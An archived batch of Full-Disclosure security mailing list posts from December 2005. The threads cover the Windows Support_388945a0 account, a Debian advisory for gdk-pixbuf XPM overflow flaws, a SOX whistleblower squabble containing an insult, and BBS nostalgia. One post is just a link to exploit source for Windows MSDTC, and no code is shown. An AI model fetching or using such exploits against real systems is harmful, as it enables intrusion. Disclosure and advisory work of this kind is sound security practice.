From camiyu1 at gmail.com Thu Dec 1 00:55:38 2005 From: camiyu1 at gmail.com (Yong-hak Lee) Date: Thu, 1 Dec 2005 09:55:38 +0900 Subject: [Full-disclosure] Support_388945a0 account in Win XP/2003 Message-ID: <975680c0511301655m66b297bep@mail.gmail.com> Hello, everybody. I has wondered the meaning of "support_388945a0" too, but not the meaning of the account, but the meaning of "388945a0". As you may know, it can be interpreted as 4 Bytes hexadecimal number... So I thought that it may be some kind of IPv4 address... But if you do whois query, you will find that the address is irrelevant to MS. Then... Is there anyone who knows what the meaning of this string sequence is? Best Regards, YH Lee. ----- Original Message ----- From: "Raoul Nakhmanson-Kulish (en)" To: "Adi Pircalabu" ; Sent: Thursday, December 01, 2005 12:48 AM Subject: Re: [Full-disclosure] Support_388945a0 account in Win XP/2003 > Hello, Adi Pircalabu! > > On 30.11.2005 18:39 you wrote: > >> http://www.toggit.com/290/290kguide6.asp > Thanks, yes, Google was the first place where I had looked for :) > > I am interested mainly in security treats connected with %subj. > > -- > Regards, > Raoul Nakhmanson-Kulish, > Elfor Soft Ltd., > IT Department > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ From se_cur_ity at hotmail.com Thu Dec 1 01:36:38 2005 From: se_cur_ity at hotmail.com (Morning Wood) Date: Wed, 30 Nov 2005 17:36:38 -0800 Subject: [Full-disclosure] Fwd: Report to Recipient(s) References: <438E15F1.2080609@csuohio.edu> Message-ID: > > Only those with broken AV software, since that line is not the EICAR test > > string, according to the definition of the EICAR test string. > > As many have pointed out, I realize it's supposed to be an attachment : > > http://www.eicar.org/anti_virus_test_file.htm > you would be suprised at all the infected returns this generated when sent http://archives.neohapsis.com/archives/fulldisclosure/2003-q2/0919.html http://archives.neohapsis.com/archives/fulldisclosure/2003-q2/0923.html ( note the : This was a text only message with NAMES only. ) From no-reply at 0x557.org Thu Dec 1 03:08:17 2005 From: no-reply at 0x557.org (no-reply) Date: Thu, 01 Dec 2005 11:08:17 +0800 Subject: [Full-disclosure] msdtc exp Message-ID: <438E6921.3010705@0x557.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 http://blog.0x557.org/swan/archives/msdtc.cpp -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDjmkhPlYIPITSGxURAtCkAJ910OOS8Pjjj1yHf32L/pHo3NHa0QCfUUt+ AzVozrv5Ileh03TfEa/frnU= =HJxh -----END PGP SIGNATURE----- From aditya.deshmukh at online.gateway.strangled.net Thu Dec 1 05:14:20 2005 From: aditya.deshmukh at online.gateway.strangled.net (Aditya Deshmukh) Date: Thu, 1 Dec 2005 10:44:20 +0530 Subject: [Full-disclosure] Support_388945a0 account in Win XP/2003 In-Reply-To: <438DC57E.1070807@elforsoft.com> Message-ID: > Hello full-disclosurers, > > Does anyone know anything interesting about Support_388945a0 account > which is created by default during Windows XP/2003 installation? > > I have seen MS technet links, maybe someone knows more about? That is a "help and support account" that you should disable. Also set very long random password and forget it. ________________________________________________________________________ Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) From joey at infodrom.org Thu Dec 1 05:49:31 2005 From: joey at infodrom.org (Martin Schulze) Date: Thu, 1 Dec 2005 06:49:31 +0100 (CET) Subject: [Full-disclosure] [SECURITY] [DSA 913-1] New gdk-pixbuf packages fix several vulnerabilities Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA 913-1 security at debian.org http://www.debian.org/security/ Martin Schulze December 1st, 2005 http://www.debian.org/security/faq - -------------------------------------------------------------------------- Package : gdk-pixbuf Vulnerability : several Problem type : remote Debian-specific: no CVE IDs : CVE-2005-2975 CVE-2005-2976 CVE-2005-3186 BugTraq ID : 15428 Debian Bug : 339431 Several vulnerabilities have been found in gdk-pixbuf, the Gtk+ GdkPixBuf XPM image rendering library. The Common Vulnerabilities and Exposures project identifies the following problems: CVE-2005-2975 Ludwig Nussel discovered an infinite loop when processing XPM images that allows an attacker to cause a denial of service via a specially crafted XPM file. CVE-2005-2976 Ludwig Nussel discovered an integer overflow in the way XPM images are processed that could lead to the execution of arbitrary code or crash the application via a specially crafted XPM file. CVE-2005-3186 "infamous41md" discovered an integer in the XPM processing routine that can be used to execute arbitrary code via a traditional heap overflow. The following matrix explains which versions fix these problems: old stable (woody) stable (sarge) unstable (sid) gdk-pixbuf 0.17.0-2woody3 0.22.0-8.1 0.22.0-11 gtk+2.0 2.0.2-5woody3 2.6.4-3.1 2.6.10-2 We recommend that you upgrade your gdk-pixbuf packages. Upgrade Instructions - -------------------- wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 3.0 alias woody - -------------------------------- Source archives: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/gdk-pixbuf_0.17.0-2woody3.dsc Size/MD5 checksum: 706 148ab895e798cb66959ae0bf7c725424 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/gdk-pixbuf_0.17.0-2woody3.diff.gz Size/MD5 checksum: 20031 7851718d740e6e6a629e462b87269234 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/gdk-pixbuf_0.17.0.orig.tar.gz Size/MD5 checksum: 547194 021914ad9104f265527c28220315e542 Alpha architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.17.0-2woody3_alpha.deb Size/MD5 checksum: 177066 edf14dd71b77d893ca27c7768dd0a9f4 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.17.0-2woody3_alpha.deb Size/MD5 checksum: 9730 52bcd65497f80d9f9b649f2dff012436 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.17.0-2woody3_alpha.deb Size/MD5 checksum: 8874 1d7cfd64edf8fc05888e608bbba6edc9 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.17.0-2woody3_alpha.deb Size/MD5 checksum: 193844 d20a90a4252d8f9ada81eb07b9798f25 ARM architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.17.0-2woody3_arm.deb Size/MD5 checksum: 156918 7a96bcd45ce4b637283c2b966c1fbbbc http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.17.0-2woody3_arm.deb Size/MD5 checksum: 8146 b1081dd21eadff238d9b411a71487759 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.17.0-2woody3_arm.deb Size/MD5 checksum: 7282 b65d0f3169de9ff0bd73289de74be475 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.17.0-2woody3_arm.deb Size/MD5 checksum: 161486 96ab7f9daf68d8f5317cf8e633e2da29 Intel IA-32 architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.17.0-2woody3_i386.deb Size/MD5 checksum: 147604 45fbdaa219558095236d758b15ab8da0 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.17.0-2woody3_i386.deb Size/MD5 checksum: 7602 b0d9ed0671ea6b4abc1311c3b50c2821 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.17.0-2woody3_i386.deb Size/MD5 checksum: 7142 e125861f4de9b5958e47336332532408 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.17.0-2woody3_i386.deb Size/MD5 checksum: 151634 8db98edeeeceddca00ab90d23a3377fd Intel IA-64 architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.17.0-2woody3_ia64.deb Size/MD5 checksum: 194976 de93fe82b55f27ae64566d9946d0fee9 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.17.0-2woody3_ia64.deb Size/MD5 checksum: 11016 11b9ec958564155bf58ecef0ce38621f http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.17.0-2woody3_ia64.deb Size/MD5 checksum: 11076 d425f1ddd7dda9a2b09816976e365da8 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.17.0-2woody3_ia64.deb Size/MD5 checksum: 229474 69ad68e6ed5ea88df1abdf954e26dfa4 HP Precision architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.17.0-2woody3_hppa.deb Size/MD5 checksum: 181324 e3543dc0a15a94e57946647fdc777791 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.17.0-2woody3_hppa.deb Size/MD5 checksum: 9638 b392986cc6d6ddf24a47589f9fc78b5b http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.17.0-2woody3_hppa.deb Size/MD5 checksum: 9316 3be84377508b98df8f700885dc0bcb13 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.17.0-2woody3_hppa.deb Size/MD5 checksum: 190026 4741d1df4e66ba1a90758a44a68123ab Motorola 680x0 architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.17.0-2woody3_m68k.deb Size/MD5 checksum: 142140 505be04e8005f316259cad3025d599c3 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.17.0-2woody3_m68k.deb Size/MD5 checksum: 7306 3967ebf6db8793d6a86fd294af843260 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.17.0-2woody3_m68k.deb Size/MD5 checksum: 7016 fb75b5d4d20a3a9f497a154622071d12 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.17.0-2woody3_m68k.deb Size/MD5 checksum: 156574 12a13ab0e1bd6aa4557d52e433ce0128 Big endian MIPS architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.17.0-2woody3_mips.deb Size/MD5 checksum: 167564 44823af863fa6eaea95bec78a78f3c48 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.17.0-2woody3_mips.deb Size/MD5 checksum: 9566 722001dea6d4386afdcaa5503a2734f4 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.17.0-2woody3_mips.deb Size/MD5 checksum: 8274 8400f88e4c1ccf9d0a0fc1cdfd160818 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.17.0-2woody3_mips.deb Size/MD5 checksum: 165456 e8f367d5b275641cac0dcdb78dd8b847 Little endian MIPS architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.17.0-2woody3_mipsel.deb Size/MD5 checksum: 168088 27fe81d3e0d259d0b2f9f1d0cb6b20c3 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.17.0-2woody3_mipsel.deb Size/MD5 checksum: 9482 4d21b6c2528e39207b4e161ffc9f8bce http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.17.0-2woody3_mipsel.deb Size/MD5 checksum: 8116 5465609ebc24647a0bb8cce0b855c04a http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.17.0-2woody3_mipsel.deb Size/MD5 checksum: 165596 9a1e6e006eccecd83d1531e22a5eb69c PowerPC architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.17.0-2woody3_powerpc.deb Size/MD5 checksum: 166132 cda8b87f950b3711955c8e3124ee40e1 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.17.0-2woody3_powerpc.deb Size/MD5 checksum: 9246 6823a85cd60349e4ba10e24884a173fd http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.17.0-2woody3_powerpc.deb Size/MD5 checksum: 8072 b57e887073c448885cba21df750f7b3c http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.17.0-2woody3_powerpc.deb Size/MD5 checksum: 171316 d343436d579fbb1a359e076b84480114 IBM S/390 architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.17.0-2woody3_s390.deb Size/MD5 checksum: 153500 4e03bafc909b4461adead1162b7b2621 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.17.0-2woody3_s390.deb Size/MD5 checksum: 7866 20eb416547214564d687c6e1b6dc0d81 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.17.0-2woody3_s390.deb Size/MD5 checksum: 7564 bc0b59ddcb29b96cbbe839d881a419e2 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.17.0-2woody3_s390.deb Size/MD5 checksum: 167510 59c3f71ee91508e678a66bf28c983f82 Sun Sparc architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.17.0-2woody3_sparc.deb Size/MD5 checksum: 161136 aa671663e7343c7f7f8b47960b558f11 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.17.0-2woody3_sparc.deb Size/MD5 checksum: 8270 2f7862d0a6f2f98b0d4c6e3e0b6929df http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.17.0-2woody3_sparc.deb Size/MD5 checksum: 7502 97aac947b5168472b1ab4a6a0399d1c1 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.17.0-2woody3_sparc.deb Size/MD5 checksum: 167184 9d79c42f3dcba5026069b15e742aafdd Debian GNU/Linux 3.1 alias sarge - -------------------------------- Source archives: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/gdk-pixbuf_0.22.0-8.1.dsc Size/MD5 checksum: 709 7a800a91469430a28ab1900ebb92ba83 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/gdk-pixbuf_0.22.0-8.1.diff.gz Size/MD5 checksum: 372331 20d149f93e8093e4dbb365e9278ce741 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/gdk-pixbuf_0.22.0.orig.tar.gz Size/MD5 checksum: 519266 4db0503b5a62533db68b03908b981751 Alpha architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.22.0-8.1_alpha.deb Size/MD5 checksum: 185780 fbfdd560a6b3591165a757797198e931 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.22.0-8.1_alpha.deb Size/MD5 checksum: 10376 3b5273e0e21ee40c5d540a22ff91b99a http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.22.0-8.1_alpha.deb Size/MD5 checksum: 8650 c5d672403f8038129d35022515e8a339 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.22.0-8.1_alpha.deb Size/MD5 checksum: 205704 22b1261a845cea95520acd68cf6e74ec AMD64 architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.22.0-8.1_amd64.deb Size/MD5 checksum: 155358 8653e4d9403ff7baeefbc7c955b83eb7 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.22.0-8.1_amd64.deb Size/MD5 checksum: 8474 ffad5870291f93584f70fa7645b54bdd http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.22.0-8.1_amd64.deb Size/MD5 checksum: 7942 d32005b5de994f10f15dfb91a6caf507 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.22.0-8.1_amd64.deb Size/MD5 checksum: 183366 6304fdc084b9e2ec433712b091e497c5 ARM architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.22.0-8.1_arm.deb Size/MD5 checksum: 153978 e13ef5dd0694f3d0cc5836d2fdbddec0 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.22.0-8.1_arm.deb Size/MD5 checksum: 8126 4ef59c62c86c0d567929d0e88fd4ebb9 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.22.0-8.1_arm.deb Size/MD5 checksum: 7076 ccc7721296431294a6a657ec5c4bf2a7 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.22.0-8.1_arm.deb Size/MD5 checksum: 171352 afe13217c5566e0ecf26950bc9b2f4b5 Intel IA-32 architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.22.0-8.1_i386.deb Size/MD5 checksum: 150416 0f2d4af07ce624a4fa3af2e0964e91a3 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.22.0-8.1_i386.deb Size/MD5 checksum: 7860 4e0d60fa4cebefe5c434fbe2e5bf16e6 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.22.0-8.1_i386.deb Size/MD5 checksum: 7354 3b6d8fc4ebc1314a35c307dd51ec1e1f http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.22.0-8.1_i386.deb Size/MD5 checksum: 172140 0f6b383d15e21f02a9db0f3b58d31864 Intel IA-64 architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.22.0-8.1_ia64.deb Size/MD5 checksum: 196584 25c9be6f81524a4641c8b7faf3f14b48 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.22.0-8.1_ia64.deb Size/MD5 checksum: 10860 a04397bc288e8abe6f8094ac5cdfc8a8 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.22.0-8.1_ia64.deb Size/MD5 checksum: 10544 97dec60626ea52e0ce3adf5df0619228 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.22.0-8.1_ia64.deb Size/MD5 checksum: 232546 973a9a9a079936e682fe352dfb2eae0a HP Precision architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.22.0-8.1_hppa.deb Size/MD5 checksum: 173056 0960b569e9cc3c6533e4a2394b56b18a http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.22.0-8.1_hppa.deb Size/MD5 checksum: 9238 5699f6b933217187a165956a4adcf8c9 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.22.0-8.1_hppa.deb Size/MD5 checksum: 9070 e82facecfb3184345b797176110c8795 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.22.0-8.1_hppa.deb Size/MD5 checksum: 201596 df67a873b1f1781b5418479802780074 Motorola 680x0 architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.22.0-8.1_m68k.deb Size/MD5 checksum: 137808 855cd148e584d2a47e15b893bc771076 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.22.0-8.1_m68k.deb Size/MD5 checksum: 7114 1c2ffc6287c76e8b656ac4cc8cb45197 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.22.0-8.1_m68k.deb Size/MD5 checksum: 6822 b23f138f206443979bef0f0d16429e9f http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.22.0-8.1_m68k.deb Size/MD5 checksum: 168122 fec535c555ffcec871f015251bb5d392 Big endian MIPS architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.22.0-8.1_mips.deb Size/MD5 checksum: 166212 c3648e5b7be69cb95dd162d1532a4064 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.22.0-8.1_mips.deb Size/MD5 checksum: 9512 c4b9a6a610d879af5986eabeb819bd44 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.22.0-8.1_mips.deb Size/MD5 checksum: 8084 af031e50f98a270977aac6d3f60c37aa http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.22.0-8.1_mips.deb Size/MD5 checksum: 178910 0538e2bfe12f9fcd0d9b391adc4ca403 Little endian MIPS architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.22.0-8.1_mipsel.deb Size/MD5 checksum: 167032 2739863166ce8ccdd7a289e47ce94e8f http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.22.0-8.1_mipsel.deb Size/MD5 checksum: 9544 cdd63315a97c0ff14fa6982811d25ac4 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.22.0-8.1_mipsel.deb Size/MD5 checksum: 8058 a7fee13884e082a5c0646c6723e757f4 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.22.0-8.1_mipsel.deb Size/MD5 checksum: 180220 d15b93b2235a05eeba9ab2fdce88327e PowerPC architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.22.0-8.1_powerpc.deb Size/MD5 checksum: 163132 8562f340ba8cba0079fa6c36a5c3a384 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.22.0-8.1_powerpc.deb Size/MD5 checksum: 9170 cd1fe56377a4313d54bbce1622c5f10f http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.22.0-8.1_powerpc.deb Size/MD5 checksum: 9526 c9f4119ba2c4b9b2a00fd0b44b01358c http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.22.0-8.1_powerpc.deb Size/MD5 checksum: 192594 3adc981ada6481239fc3c61af7781da2 IBM S/390 architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.22.0-8.1_s390.deb Size/MD5 checksum: 164994 c92cd17bdead77f5ab59a314208d07ea http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.22.0-8.1_s390.deb Size/MD5 checksum: 8168 e4bce7d526b10a608e6238d0fb602131 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.22.0-8.1_s390.deb Size/MD5 checksum: 7802 551bdf573b50cff118ff68360a249630 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.22.0-8.1_s390.deb Size/MD5 checksum: 184668 d0917c0875e16ab54637f1ac1c299208 Sun Sparc architecture: http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-dev_0.22.0-8.1_sparc.deb Size/MD5 checksum: 155602 8c2980db112716debc75371df0ae3e3a http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome-dev_0.22.0-8.1_sparc.deb Size/MD5 checksum: 8130 462d2e5c734a69f942dd73d67224f3d4 http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf-gnome2_0.22.0-8.1_sparc.deb Size/MD5 checksum: 7304 4935a0b91d3056e28b8375d99a13181c http://security.debian.org/pool/updates/main/g/gdk-pixbuf/libgdk-pixbuf2_0.22.0-8.1_sparc.deb Size/MD5 checksum: 174592 93b600efa8160007aa687eb67b63b141 These files will probably be moved into the stable distribution on its next update. - --------------------------------------------------------------------------------- For apt-get: deb http://security.debian.org/ stable/updates main For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main Mailing list: debian-security-announce at lists.debian.org Package info: `apt-cache show ' and http://packages.debian.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2 (GNU/Linux) iD8DBQFDjo7qW5ql+IAeqTIRAqciAKCZNDHd9wXe3TUrQovShloWXfGAwACgsOcF 7cftY3TvKmE5biVTmaDRWJM= =7/15 -----END PGP SIGNATURE----- From aditya.deshmukh at online.gateway.strangled.net Thu Dec 1 05:53:44 2005 From: aditya.deshmukh at online.gateway.strangled.net (Aditya Deshmukh) Date: Thu, 1 Dec 2005 11:23:44 +0530 Subject: [Full-disclosure] Support_388945a0 account in Win XP/2003 In-Reply-To: <975680c0511301655m66b297bep@mail.gmail.com> Message-ID: > I has wondered the meaning of "support_388945a0" too, > but not the meaning of the account, but the meaning of "388945a0". > > As you may know, it can be interpreted as 4 Bytes hexadecimal > number... It's a randomly generated number that generated for this account name ________________________________________________________________________ Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) From aditya.deshmukh at online.gateway.strangled.net Thu Dec 1 06:06:10 2005 From: aditya.deshmukh at online.gateway.strangled.net (Aditya Deshmukh) Date: Thu, 1 Dec 2005 11:36:10 +0530 Subject: [Full-disclosure] Re: SOX whistleblowers' clause Compliance In-Reply-To: <2be58a30511301439l1521f3f0ra33e21977c881df@mail.gmail.com> Message-ID: > Seeing how my question was ignored. I will tell you the answer. > > There is no requirement in SOX to do this. Why cant you use google to find out this ? ------------------------------------------------------------------- http://www.nonprofitrisk.org/nwsltr/archive/employprac091005-p.htm *In the para 4* "Protecting whistleblowers is an essential component of an ethical and open work environment." *In para 6* <----- this is the one that you want "Provide Employees Multiple Avenues to Report Concerns" While employees will hopefully feel comfortable raising concerns directly with their supervisors, many employees are reluctant to raise concerns with line management for fear of retaliation, especially where their concerns pertain to unethical or illegal conduct by their line managers. Therefore, nonprofits should provide several options for employees to raise concerns, including the option of raising a concern anonymously. ------------------------------------------------------------------- If you read the last line in para 6 you will find that anon mailbox is a requirement for SOX compliance. And mailbox was ment for email Michael :) But I think that "with a post and some concrete" mailbox will be Indeed be far more secure..... ________________________________________________________________________ Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) From malum at freeshell.org Thu Dec 1 06:53:11 2005 From: malum at freeshell.org (MH) Date: Thu, 1 Dec 2005 06:53:11 +0000 (UTC) Subject: [Full-disclosure] Hacking Boot camps! In-Reply-To: <78744869705CEF41A32C103C5C04F2200163A81F@phxexc1.dswa.net> References: <78744869705CEF41A32C103C5C04F2200163A81F@phxexc1.dswa.net> Message-ID: Pfft.. RENEGADE all the way :> WWIV was great for modding too. Vision-X, yep.. I remember a lot of the 'ansi cool-kids' (or whatever...) running that. -MH On Wed, 30 Nov 2005, Christopher Carpenter wrote: > > Don't forget WWIV and Vision-X. :) > > > WildCAT BBS Anyone???? :) > > I remember playing tradewars and calling who knows where to get new text > files :) > > Used Tone-loC a lot more back then :) > > JP From raoul at elforsoft.com Thu Dec 1 06:57:50 2005 From: raoul at elforsoft.com (Raoul Nakhmanson-Kulish) Date: Thu, 01 Dec 2005 09:57:50 +0300 Subject: [Full-disclosure] Support_388945a0 account in Win XP/2003 In-Reply-To: References: Message-ID: <438E9EEE.9070301@elforsoft.com> Hello, Aditya Deshmukh! On 01.12.2005 8:14 you wrote: > That is a "help and support account" that you should disable. > Also set very long random password and forget it. I prefer simply delete it. Good choice? But I heard a rumours that this account can be activated remotely without user's aware decision and used for Remote Assistance (e.g. capturing a screen and even controlling input). -- Regards, Raoul Nakhmanson-Kulish, Elfor Soft Ltd., IT Department From infosecbofh at gmail.com Thu Dec 1 06:58:07 2005 From: infosecbofh at gmail.com (InfoSecBOFH) Date: Wed, 30 Nov 2005 22:58:07 -0800 Subject: [Full-disclosure] Re: SOX whistleblowers' clause Compliance In-Reply-To: References: <2be58a30511301439l1521f3f0ra33e21977c881df@mail.gmail.com> Message-ID: <2be58a30511302258i455d92f0o8d3fa7a5a4884bea@mail.gmail.com> > Why cant you use google to find out this ? The same reason you can't use Google and find your answer fuckbag. > *In the para 4* > "Protecting whistleblowers is an essential component of an ethical > and open work environment." No mention of an anon email address here. > *In para 6* <----- this is the one that you want > "Provide Employees Multiple Avenues to Report Concerns" > While employees will hopefully feel comfortable raising concerns > directly with their supervisors, many employees are reluctant to > raise concerns with line management for fear of retaliation, > especially where their concerns pertain to unethical or illegal > conduct by their line managers. Therefore, nonprofits should provide > several options for employees to raise concerns, including the > option of raising a concern anonymously. Again, not specifying email. A simple drop box in the lunchroom facilitates this. From infosecbofh at gmail.com Thu Dec 1 06:59:23 2005 From: infosecbofh at gmail.com (InfoSecBOFH) Date: Wed, 30 Nov 2005 22:59:23 -0800 Subject: [Full-disclosure] Hacking Boot camps! In-Reply-To: References: <78744869705CEF41A32C103C5C04F2200163A81F@phxexc1.dswa.net> Message-ID: <2be58a30511302259k5d81c595ia615671c97d87de1@mail.gmail.com> Come on... lets go right old school. I loved and ran RA On 11/30/05, MH wrote: > Pfft.. > > RENEGADE all the way :> > > WWIV was great for modding too. Vision-X, yep.. I remember a lot of the > 'ansi cool-kids' (or whatever...) running that. > > -MH > > On Wed, 30 Nov 2005, Christopher Carpenter wrote: > > > > > Don't forget WWIV and 